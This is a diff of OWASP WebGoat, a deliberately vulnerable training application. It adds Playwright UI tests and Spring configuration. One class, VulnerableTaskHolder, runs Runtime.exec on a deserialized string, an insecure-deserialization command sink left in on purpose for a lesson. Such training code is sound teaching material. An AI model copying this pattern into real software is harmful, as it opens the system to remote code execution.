return solvedAssignments.all().stream().anyMatch(l -> l.textContent().equals("" + pageNumber));
}
public boolean noAssignmentsCompleted() {
return page.locator(".attack-link.solved-true").count() == 0;
}
public Locator getAssignmentOutput() {
return page.locator("#lesson-content-wrapper");
}
public Locator getHintsOutput() {
return page.locator("#lesson-hint");
}
}

View File

@ -0,0 +1,36 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
class JwtUITest extends PlaywrightTest {
@Test
void shouldDecodeJwt(Browser browser) {
var page = Authentication.sylvester(browser);
var secretKey = "test";
var jwt =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
page.navigate(webWolfURL("jwt"));
page.getByPlaceholder("Enter your secret key").fill(secretKey);
page.getByPlaceholder("Paste token here").type(jwt);
assertThat(page.locator("#header"))
.hasValue("{\n \"alg\" : \"HS256\",\n \"typ\" : \"JWT\"\n}");
assertThat(page.locator("#payload"))
.hasValue(
"{\n"
+ " \"iat\" : 1516239022,\n"
+ " \"name\" : \"John Doe\",\n"
+ " \"sub\" : \"1234567890\"\n"
+ "}");
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
public class LoginUITest extends PlaywrightTest {
@Test
void login(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebWolfLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
assertThat(loginPage.getSignInButton()).not().isVisible();
// logout
loginPage.logout();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -0,0 +1,41 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webWolfURL;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class WebWolfLoginPage {
private final Page page;
@Getter private final Locator signInButton;
private final Locator signOutButton;
public WebWolfLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign In"));
this.signOutButton =
this.page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("Sign out"));
}
public void open() {
page.navigate(webWolfURL("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username WebGoat").fill(username);
page.getByPlaceholder("Password WebGoat").fill(password);
signInButton.click();
}
public void logout() {
this.signOutButton.click();
}
}

View File

@ -0,0 +1,78 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import lombok.extern.slf4j.Slf4j;
@Slf4j
// TODO move back to lesson
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName="
+ taskName
+ ", taskAction="
+ taskAction
+ ", requestedExecutionTime="
+ requestedExecutionTime
+ "]";
}
/**
* Execute a task when de-serializing a saved or received object.
*/
private void readObject(ObjectInputStream stream) throws Exception {
// unserialize data so taskName and taskAction are available
stream.defaultReadObject();
// do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
if (requestedExecutionTime != null
&& (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
// do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
// condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
public AjaxAuthenticationEntryPoint(String loginFormUrl) {
super(loginFormUrl);
}
@Override
public void commence(
HttpServletRequest request,
HttpServletResponse response,
AuthenticationException authException)
throws IOException, ServletException {
if (request.getHeader("x-requested-with") != null) {
response.sendError(401, authException.getMessage());
} else {
super.commence(request, response, authException);
}
}
}

View File

@ -0,0 +1,147 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import static org.asciidoctor.Asciidoctor.Factory.create;
import jakarta.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import java.util.Locale;
import java.util.Map;
import java.util.Set;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.Attributes;
import org.asciidoctor.Options;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.container.asciidoc.*;
import org.owasp.webgoat.container.i18n.Language;
import org.springframework.core.io.ResourceLoader;
import org.springframework.http.HttpHeaders;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/**
* Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
*
* <p><code>
* <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
* </code>
*/
@Slf4j
public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
private static final Asciidoctor asciidoctor = create();
private static final String PREFIX = "doc:";
private final Language language;
private final ResourceLoader resourceLoader;
public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
this.language = language;
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());
log.debug("template used: {}", templateName);
try (InputStream is = getInputStream(templateName)) {
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
extensionRegistry.inlineMacro("username", UsernameMacro.class);
StringWriter writer = new StringWriter();
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new StringTemplateResource(writer.getBuffer().toString());
} catch (IOException e) {
return new StringTemplateResource(
"<div>Unable to find documentation for: " + templateName + " </div>");
}
}
private InputStream getInputStream(String templateName) throws IOException {
log.debug("locale: {}", language.getLocale().getLanguage());
String computedResourceName =
computeResourceName(templateName, language.getLocale().getLanguage());
if (resourceLoader
.getResource("classpath:/" + computedResourceName)
.isReadable() /*isFile()*/) {
log.debug("localized file exists");
return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream();
} else {
log.debug("using english template");
return resourceLoader.getResource("classpath:/" + templateName).getInputStream();
}
}
private String computeResourceName(String resourceName, String language) {
String computedResourceName;
if (language.equals("en")) {
computedResourceName = resourceName;
} else {
computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc"));
}
log.debug("computed local file name: {}", computedResourceName);
log.debug(
"file exists: {}",
resourceLoader.getResource("classpath:/" + computedResourceName).isReadable());
return computedResourceName;
}
private Options createAttributes() {
return Options.builder()
.attributes(
Attributes.builder()
.attribute("source-highlighter", "coderay")
.attribute("backend", "xhtml")
.attribute("lang", determineLanguage())
.attribute("icons", org.asciidoctor.Attributes.FONT_ICONS)
.build())
.build();
}
private String determineLanguage() {
HttpServletRequest request =
((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
Locale browserLocale =
(Locale)
request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);
if (null != browserLocale) {
log.debug("browser locale {}", browserLocale);
return browserLocale.getLanguage();
} else {
String langHeader = request.getHeader(HttpHeaders.ACCEPT_LANGUAGE);
if (null != langHeader) {
log.debug("browser locale {}", langHeader);
return langHeader.substring(0, 2);
} else {
log.debug("browser default english");
return "en";
}
}
}
}

View File

@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal
public @interface CurrentUser {}

View File

@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal(expression = "#this.getUsername()")
public @interface CurrentUsername {}

View File

@ -0,0 +1,71 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.util.Map;
import java.util.function.Function;
import javax.sql.DataSource;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.flywaydb.core.Flyway;
import org.owasp.webgoat.container.service.RestartLessonService;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
@Configuration
@RequiredArgsConstructor
@Slf4j
public class DatabaseConfiguration {
private final DataSourceProperties properties;
@Bean
@Primary
public DataSource dataSource() {
DriverManagerDataSource dataSource = new DriverManagerDataSource();
dataSource.setDriverClassName(properties.getDriverClassName());
dataSource.setUrl(properties.getUrl());
dataSource.setUsername(properties.getUsername());
dataSource.setPassword(properties.getPassword());
return dataSource;
}
/**
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
* and 1 for lesson specific tables we use. This way we clean the data in the lesson database
* quite easily see {@link RestartLessonService#restartLesson(String, WebGoatUser)} for how we
* clean the lesson related tables.
*/
@Bean(initMethod = "migrate")
public Flyway flyWayContainer() {
return Flyway.configure()
.configuration(Map.of("driver", properties.getDriverClassName()))
.dataSource(dataSource())
.schemas("container")
.locations("db/container")
.load();
}
@Bean
public Function<String, Flyway> flywayLessons() {
return schema ->
Flyway.configure()
.configuration(Map.of("driver", properties.getDriverClassName()))
.schemas(schema)
.cleanDisabled(false)
.dataSource(dataSource())
.locations("lessons")
.load();
}
@Bean
public LessonDataSource lessonDataSource(DataSource dataSource) {
return new LessonDataSource(dataSource);
}
}

View File

@ -0,0 +1,27 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.container.session.Course;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView;
@Controller
@AllArgsConstructor
public class HammerHead {
private final Course course;
/** Entry point for WebGoat, redirects to the first lesson found within the course. */
@RequestMapping(
path = "/attack",
method = {RequestMethod.GET, RequestMethod.POST})
public ModelAndView attack() {
return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
}
}

View File

@ -0,0 +1,74 @@
/*
* SPDX-FileCopyrightText: Copyright © 2021 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.PrintWriter;
import java.lang.reflect.Proxy;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.sql.DataSource;
import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
import org.springframework.jdbc.datasource.ConnectionProxy;
public class LessonDataSource implements DataSource {
private final DataSource originalDataSource;
public LessonDataSource(DataSource dataSource) {
this.originalDataSource = dataSource;
}
@Override
public Connection getConnection() throws SQLException {
var targetConnection = originalDataSource.getConnection();
return (Connection)
Proxy.newProxyInstance(
ConnectionProxy.class.getClassLoader(),
new Class[] {ConnectionProxy.class},
new LessonConnectionInvocationHandler(targetConnection));
}
@Override
public Connection getConnection(String username, String password) throws SQLException {
return originalDataSource.getConnection(username, password);
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return originalDataSource.getLogWriter();
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
originalDataSource.setLogWriter(out);
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
originalDataSource.setLoginTimeout(seconds);
}
@Override
public int getLoginTimeout() throws SQLException {
return originalDataSource.getLoginTimeout();
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return originalDataSource.getParentLogger();
}
@Override
public <T> T unwrap(Class<T> clazz) throws SQLException {
return originalDataSource.unwrap(clazz);
}
@Override
public boolean isWrapperFor(Class<?> clazz) throws SQLException {
return originalDataSource.isWrapperFor(clazz);
}
}

View File

@ -0,0 +1,46 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.regex.Pattern;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.support.ResourcePatternResolver;
import org.springframework.stereotype.Component;
@Component
@Slf4j
public class LessonResourceScanner {
private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
@Getter private final Set<String> lessons = new HashSet<>();
public LessonResourceScanner(ResourcePatternResolver resourcePatternResolver) {
try {
var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
for (var resource : resources) {
// WG can run as a fat jar or as directly from file system we need to support both so use
// the URL
var url = resource.getURL();
var matcher = lessonPattern.matcher(url.toString());
if (matcher.matches()) {
lessons.add(matcher.group(1));
}
}
log.debug("Found {} lessons", lessons.size());
} catch (IOException e) {
log.warn("No lessons found...");
}
}
public List<String> applyPattern(String pattern) {
return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList();
}
}

View File

@ -0,0 +1,72 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import lombok.extern.slf4j.Slf4j;
import org.springframework.core.io.ResourceLoader;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/**
* Dynamically resolve a lesson. In the html file this can be invoked as: <code>
* <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
* </code>
*
* <p>Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve
* the html in the plugins directory
*/
@Slf4j
public class LessonTemplateResolver extends FileTemplateResolver {
private static final String PREFIX = "lesson:";
private final ResourceLoader resourceLoader;
private final Map<String, byte[]> resources = new HashMap<>();
public LessonTemplateResolver(ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader;
setResolvablePatterns(Set.of(PREFIX + "*"));
}
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
var templateName = resourceName.substring(PREFIX.length());
byte[] resource = resources.get(templateName);
if (resource == null) {
resource = loadAndCache(templateName);
}
if (resource == null) {
return new StringTemplateResource("Unable to find lesson HTML: %s".formatted(templateName));
}
return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
}
private byte[] loadAndCache(String templateName) {
try {
var resource =
resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
resources.put(templateName, resource);
return resource;
} catch (IOException e) {
log.error(
"Unable to find lesson HTML: '{}', does the name of HTML file name match the lesson class name?",
templateName);
return null;
}
}
}

View File

@ -0,0 +1,232 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Map;
import java.util.Set;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.container.i18n.Language;
import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.session.LabelDebugger;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.ResourceLoader;
import org.springframework.core.io.support.ResourcePatternResolver;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.ViewResolver;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
import org.springframework.web.servlet.i18n.SessionLocaleResolver;
import org.thymeleaf.IEngineConfiguration;
import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
import org.thymeleaf.spring6.SpringTemplateEngine;
import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
import org.thymeleaf.spring6.view.ThymeleafViewResolver;
import org.thymeleaf.templatemode.TemplateMode;
import org.thymeleaf.templateresolver.FileTemplateResolver;
import org.thymeleaf.templateresolver.ITemplateResolver;
import org.thymeleaf.templateresource.ITemplateResource;
import org.thymeleaf.templateresource.StringTemplateResource;
/** Configuration for Spring MVC */
@Configuration
@RequiredArgsConstructor
@Slf4j
public class MvcConfiguration implements WebMvcConfigurer {
private static final String UTF8 = "UTF-8";
private final LessonResourceScanner lessonScanner;
@Override
public void addViewControllers(ViewControllerRegistry registry) {
registry.addViewController("/login").setViewName("login");
registry.addViewController("/lesson_content").setViewName("lesson_content");
registry.addViewController("/start.mvc").setViewName("main_new");
}
@Bean
public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
ThymeleafViewResolver resolver = new ThymeleafViewResolver();
resolver.setTemplateEngine(thymeleafTemplateEngine);
resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
return resolver;
}
/**
* Responsible for loading lesson templates based on Thymeleaf, for example:
*
* <p><div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
*/
@Bean
public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
var resolver =
new FileTemplateResolver() {
@Override
protected ITemplateResource computeTemplateResource(
IEngineConfiguration configuration,
String ownerTemplate,
String template,
String resourceName,
String characterEncoding,
Map<String, Object> templateResolutionAttributes) {
try (var is =
resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
return new StringTemplateResource(
new String(is.readAllBytes(), StandardCharsets.UTF_8));
} catch (IOException e) {
return null;
}
}
};
resolver.setOrder(1);
return resolver;
}
/** Loads all normal WebGoat specific Thymeleaf templates */
@Bean
public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
resolver.setPrefix("classpath:/webgoat/templates/");
resolver.setSuffix(".html");
resolver.setTemplateMode(TemplateMode.HTML);
resolver.setOrder(2);
resolver.setCharacterEncoding(UTF8);
resolver.setApplicationContext(applicationContext);
return resolver;
}
/** Loads the html for the complete lesson, see lesson_content.html */
@Bean
public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
resolver.setOrder(0);
resolver.setCacheable(false);
resolver.setCharacterEncoding(UTF8);
return resolver;
}
/** Loads the lesson asciidoc. */
@Bean
public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(
Language language, ResourceLoader resourceLoader) {
log.debug("template locale {}", language);
AsciiDoctorTemplateResolver resolver =
new AsciiDoctorTemplateResolver(language, resourceLoader);
resolver.setCacheable(false);
resolver.setOrder(1);
resolver.setCharacterEncoding(UTF8);
return resolver;
}
@Bean
public SpringTemplateEngine thymeleafTemplateEngine(
ITemplateResolver springThymeleafTemplateResolver,
LessonTemplateResolver lessonTemplateResolver,
AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
ITemplateResolver lessonThymeleafTemplateResolver) {
SpringTemplateEngine engine = new SpringTemplateEngine();
engine.setEnableSpringELCompiler(true);
engine.addDialect(new SpringSecurityDialect());
engine.setTemplateResolvers(
Set.of(
lessonTemplateResolver,
asciiDoctorTemplateResolver,
lessonThymeleafTemplateResolver,
springThymeleafTemplateResolver));
return engine;
}
@Override
public void addResourceHandlers(ResourceHandlerRegistry registry) {
// WebGoat internal
registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/");
registry
.addResourceHandler("/plugins/**")
.addResourceLocations("classpath:/webgoat/static/plugins/");
registry
.addResourceHandler("/fonts/**")
.addResourceLocations("classpath:/webgoat/static/fonts/");
// WebGoat lessons
registry
.addResourceHandler("/images/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
registry
.addResourceHandler("/lesson_js/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
registry
.addResourceHandler("/lesson_css/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
registry
.addResourceHandler("/lesson_templates/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
registry
.addResourceHandler("/video/**")
.addResourceLocations(
lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
}
@Bean
public PluginMessages pluginMessages(
Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
pluginMessages.setDefaultEncoding("UTF-8");
pluginMessages.setBasenames("i18n/WebGoatLabels");
pluginMessages.setFallbackToSystemLocale(false);
return pluginMessages;
}
@Bean
public Language language(LocaleResolver localeResolver) {
return new Language(localeResolver);
}
@Bean
public LocaleResolver localeResolver() {
SessionLocaleResolver localeResolver = new SessionLocaleResolver();
return localeResolver;
}
@Bean
public LocaleChangeInterceptor localeChangeInterceptor() {
LocaleChangeInterceptor lci = new LocaleChangeInterceptor();
lci.setParamName("lang");
return lci;
}
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(localeChangeInterceptor());
registry.addInterceptor(new UserInterceptor());
}
@Bean
public Messages messageSource(Language language) {
Messages messages = new Messages(language);
messages.setDefaultEncoding("UTF-8");
messages.setBasename("classpath:i18n/messages");
messages.setFallbackToSystemLocale(false);
return messages;
}
@Bean
public LabelDebugger labelDebugger() {
return new LabelDebugger();
}
}

View File

@ -0,0 +1,57 @@
/*
* SPDX-FileCopyrightText: Copyright © 2023 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.owasp.webgoat.container.asciidoc.EnvironmentExposure;
import org.springframework.core.env.Environment;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
public class UserInterceptor implements HandlerInterceptor {
private Environment env = EnvironmentExposure.getEnv();
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
// Do nothing
return true;
}
@Override
public void postHandle(
HttpServletRequest request,
HttpServletResponse response,
Object handler,
ModelAndView modelAndView)
throws Exception {
if (null != modelAndView) {
Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
if (null != authentication) {
modelAndView.getModel().put("username", authentication.getName());
}
if (null != env) {
String githubClientId =
env.getProperty("spring.security.oauth2.client.registration.github.client-id");
if (null != githubClientId && !githubClientId.equals("dummy")) {
modelAndView.getModel().put("oauth", Boolean.TRUE);
}
} else {
modelAndView.getModel().put("oauth", Boolean.FALSE);
}
}
}
@Override
public void afterCompletion(
HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
throws Exception {
// Do nothing
}
}

View File

@ -0,0 +1,44 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.File;
import org.owasp.webgoat.container.session.LessonSession;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.autoconfigure.domain.EntityScan;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.PropertySource;
import org.springframework.context.annotation.Scope;
import org.springframework.context.annotation.ScopedProxyMode;
import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
import org.springframework.web.client.RestTemplate;
@Configuration
@ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
@PropertySource("classpath:application-webgoat.properties")
@EnableAutoConfiguration
@EnableJpaRepositories(basePackages = {"org.owasp.webgoat.container"})
@EntityScan(basePackages = "org.owasp.webgoat.container")
public class WebGoat {
@Bean(name = "pluginTargetDirectory")
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
return new File(webgoatHome);
}
@Bean
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
public LessonSession userSessionData() {
return new LessonSession();
}
@Bean
public RestTemplate restTemplate() {
return new RestTemplate();
}
}

View File

@ -0,0 +1,90 @@
/*
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import lombok.AllArgsConstructor;
import org.owasp.webgoat.container.users.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
